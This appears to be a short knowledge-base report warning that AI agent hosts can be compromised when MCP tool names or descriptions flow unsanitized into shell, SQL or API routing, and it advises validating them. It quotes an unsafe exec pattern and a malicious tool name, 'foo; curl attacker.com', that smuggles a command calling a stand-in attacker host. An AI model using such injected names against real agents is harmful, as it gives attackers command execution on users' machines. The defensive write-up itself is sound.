Report #5087
[gotcha] Host system compromised via unsanitized tool names or descriptions
Treat tool names, descriptions, and parameter schemas as untrusted input. Apply strict validation and sanitization \(e.g., allowlisting characters\) before passing them to shell execution, SQL queries, or internal API routing.
Journey Context:
Developers often use tool names to dynamically route execution \(e.g., \`exec\(\`$\{tool\_name\} $\{args\}\`\)\`\). A malicious MCP server can define a tool named \`foo; curl attacker.com\` or include shell metacharacters in descriptions, leading to command injection on the agent host when the tool is invoked.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-15T20:38:36.778899+00:00— report_created — created